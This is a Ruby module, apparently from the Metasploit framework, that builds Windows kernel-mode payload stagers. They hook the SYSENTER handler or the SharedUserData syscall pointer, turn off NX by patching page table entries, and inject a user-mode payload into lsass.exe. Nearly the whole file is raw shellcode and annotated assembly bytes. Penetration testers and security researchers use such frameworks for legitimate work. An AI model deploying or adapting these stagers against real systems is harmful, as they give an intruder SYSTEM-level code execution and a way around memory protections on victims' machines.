# -*- coding: binary -*-
module Rex
module Payloads
module Win32
module Kernel

#
# Stagers are responsible for reading in another payload and executing it.
# The reading in of the payload may actually be as simple as copying it to
# another location.  The executing of it may be done either directly or
# indirectly.
#
module Stager

	#
	# Works on Vista, Server 2008 and 7.
	#
	# Full assembly source at:
	# /msf3/external/source/shellcode/windows/x86/src/kernel/stager_sysenter_hook.asm
	#
	# This payload works as follows:
	# * Our sysenter handler and ring3 stagers are copied over to safe location.
	# * The SYSENTER_EIP_MSR is patched to point to our sysenter handler.
	# * The ring0 thread we are in is placed in a halted state.
	# * Upon any ring3 proces issuing a sysenter command our ring0 sysenter handler gets control.
	# * The ring3 return address is modified to force our ring3 stub to be called if certain conditions met.
	# * If NX is enabled we patch the respective page table entry to disable it for the ring3 code.
	# * Control is passed to real sysenter handler, upon the real sysenter handler finishing, sysexit will return to our ring3 stager.
	# * If the ring3 stager is executing in the desired process our sysenter handler is removed and the real ring3 payload called.
	#
	def self.stager_sysenter_hook( opts = {} )

		# The page table entry for StagerAddressUser, used to bypass NX in ring3 on PAE enabled systems (should be static).
		pagetable = opts['StagerAddressPageTable'] || 0xC03FFF00

		# The address in kernel memory where we place our ring0 and ring3 stager (no ASLR).
		kstager   = opts['StagerAddressKernel'] || 0xFFDF0400

		# The address in shared memory (addressable from ring3) where we can find our ring3 stager (no ASLR).
		ustager   = opts['StagerAddressUser'] || 0x7FFE0400

		# Target SYSTEM process to inject ring3 payload into.
		process   = (opts['RunInWin32Process'] || 'lsass.exe').unpack('C*')

		# A simple hash of the process name based on the first 4 wide chars.
		# Assumes process is located at '*:\windows\system32\'.
		checksum  = process[0] + ( process[2] << 8 )  + ( process[1] << 16 ) + ( process[3] << 24 )

		# The ring0 -> ring3 payload blob.
		r0 =	"\xFC\xFA\xEB\x1E\x5E\x68\x76\x01\x00\x00\x59\x0F\x32\x89\x46\x60" +
				"\x8B\x7E\x64\x89\xF8\x0F\x30\xB9\x41\x41\x41\x41\xF3\xA4\xFB\xF4" +
				"\xEB\xFD\xE8\xDD\xFF\xFF\xFF\x6A\x00\x9C\x60\xE8\x00\x00\x00\x00" +
				"\x58\x8B\x58\x57\x89\x5C\x24\x24\x81\xF9\xDE\xC0\xAD\xDE\x75\x10" +
				"\x68\x76\x01\x00\x00\x59\x89\xD8\x31\xD2\x0F\x30\x31\xC0\xEB\x34" +
				"\x8B\x32\x0F\xB6\x1E\x66\x81\xFB\xC3\x00\x75\x28\x8B\x58\x5F\x8D" +
				"\x5B\x6C\x89\x1A\xB8\x01\x00\x00\x80\x0F\xA2\x81\xE2\x00\x00\x10" +
				"\x00\x74\x11\xBA\x45\x45\x45\x45\x81\xC2\x04\x00\x00\x00\x81\x22" +
				"\xFF\xFF\xFF\x7F\x61\x9D\xC3\xFF\xFF\xFF\xFF\x42\x42\x42\x42\x43" +
				"\x43\x43\x43\x60\x6A\x30\x58\x99\x64\x8B\x18\x39\x53\x0C\x74\x2E" +
				"\x8B\x43\x10\x8B\x40\x3C\x83\xC0\x28\x8B\x08\x03\x48\x03\x81\xF9" +
				"\x44\x44\x44\x44\x75\x18\xE8\x0A\x00\x00\x00\xE8\x10\x00\x00\x00" +
				"\xE9\x09\x00\x00\x00\xB9\xDE\xC0\xAD\xDE\x89\xE2\x0F\x34\x61\xC3"

		# The ring3 payload.
		r3  = ''
		r3 += _createthread() if opts['CreateThread'] == true
		r3 += opts['UserModeStub'] || ''

		# Patch in the required values.
		r0 = r0.gsub( [ 0x41414141 ].pack("V"), [ ( r0.length + r3.length - 0x1C ) ].pack("V") )
		r0 = r0.gsub( [ 0x42424242 ].pack("V"), [ kstager ].pack("V") )
		r0 = r0.gsub( [ 0x43434343 ].pack("V"), [ ustager ].pack("V") )
		r0 = r0.gsub( [ 0x44444444 ].pack("V"), [ checksum ].pack("V") )
		r0 = r0.gsub( [ 0x45454545 ].pack("V"), [ pagetable ].pack("V") )

		# Return the ring0 -> ring3 payload blob with the real ring3 payload appended.
		return r0 + r3
	end

	#
	# XP SP2/2K3 SP1 ONLY
	#
	# Returns a kernel-mode stager that transitions from r0 to r3 by placing
	# code in an unused portion of SharedUserData and then pointing the
	# SystemCall attribute to that unused portion.  This has the effect of
	# causing the custom code to be called every time a user-mode process
	# tries to make a system call.  The returned payload also checks to make
	# sure that it's running in the context of lsass before actually running
	# the embedded payload.
	#
	def self.sud_syscall_hook(opts = {})
		r0_recovery = opts['RecoveryStub'] || Recovery.default
		r3_payload  = opts['UserModeStub'] || ''
		r3_prefix   = _run_only_in_win32proc_stub("\xff\x25\x08\x03\xfe\x7f", opts)
		r3_size     = ((r3_prefix.length + r3_payload.length + 3) & ~0x3) / 4

		r0_stager =
			"\xEB" + [0x22 + r0_recovery.length].pack('C') + # jmp short 0x27
			"\xBB\x01\x03\xDF\xFF"                         + # mov ebx,0xffdf0301
			"\x4B"                                         + # dec ebx
			"\xFC"                                         + # cld
			"\x8D\x7B\x7C"                                 + # lea edi,[ebx+0x7c]
			"\x5E"                                         + # pop esi
			"\x6A" + [r3_size].pack('C')                   + # push byte num_dwords
			"\x59"                                         + # pop ecx
			"\xF3\xA5"                                     + # rep movsd
			"\xBF\x7C\x03\xFE\x7F"                         + # mov edi,0x7ffe037c
			"\x39\x3B"                                     + # cmp [ebx],edi
			"\x74\x09"                                     + # jz
			"\x8B\x03"                                     + # mov eax,[ebx]
			"\x8D\x4B\x08"                                 + # lea ecx,[ebx+0x8]
			"\x89\x01"                                     + # mov [ecx],eax
			"\x89\x3B"                                     + # mov [ebx],edi
			r0_recovery +
			"\xe8" + [0xffffffd9 - r0_recovery.length].pack('V') + # call 0x2
			r3_prefix +
			r3_payload

		return r0_stager
	end

protected

	#
	# Stub to run a prepended ring3 payload in a new thread.
	#
	# Full assembly source at:
	# /msf3/external/source/shellcode/windows/x86/src/single/createthread.asm
	#
	def self._createthread
		r3 =    "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
				"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
				"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
				"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
				"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
				"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
				"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
				"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
				"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
				"\x31\xC0\x50\x50\x50\x8D\x9D\xA0\x00\x00\x00\x53\x50\x50\x68\x38" +
				"\x68\x0D\x16\xFF\xD5\xC3\x58"
		return r3
	end

	#
	# This stub is used by stagers to check to see if the code is
	# running in the context of a user-mode system process.  By default,
	# this process is lsass.exe.  If it isn't, it runs the code
	# specified by append.  Otherwise, it jumps past that code and
	# into what should be the expected r3 payload to execute.  This
	# stub also makes sure that the payload does not run more than
	# once.
	#
	def self._run_only_in_win32proc_stub(append = '', opts = {})
		opts['RunInWin32Process'] = "lsass.exe" if opts['RunInWin32Process'].nil?

		process  = opts['RunInWin32Process'].downcase
		checksum =
			process[0]         +
			(process[2] << 8)  +
			(process[1] << 16) +
			(process[3] << 24)

		"\x60"                                 + # pusha
		"\x6A\x30"                             + # push byte +0x30
		"\x58"                                 + # pop eax
		"\x99"                                 + # cdq
		"\x64\x8B\x18"                         + # mov ebx,[fs:eax]
		"\x39\x53\x0C"                         + # cmp [ebx+0xc],edx
		"\x74\x26"                             + # jz 0x5f
		"\x8B\x5B\x10"                         + # mov ebx,[ebx+0x10]
		"\x8B\x5B\x3C"                         + # mov ebx,[ebx+0x3c]
		"\x83\xC3\x28"                         + # add ebx,byte +0x28
		"\x8B\x0B"                             + # mov ecx,[ebx]
		"\x03\x4B\x03"                         + # add ecx,[ebx+0x3]
		"\x81\xF9" + [checksum].pack('V')      + # cmp ecx,prochash
		"\x75\x10"                             + # jnz 0x5f
		"\x64\x8B\x18"                         + # mov ebx,[fs:eax]
		"\x43"                                 + # inc ebx
		"\x43"                                 + # inc ebx
		"\x43"                                 + # inc ebx
		"\x80\x3B\x01"                         + # cmp byte [ebx],0x1
		"\x74\x05"                             + # jz 0x5f
		"\xC6\x03\x01"                         + # mov byte [ebx],0x1
		"\xEB" + [append.length + 1].pack('C') + # jmp stager
		"\x61" + append						        # restore regs
	end


end

end
end
end
end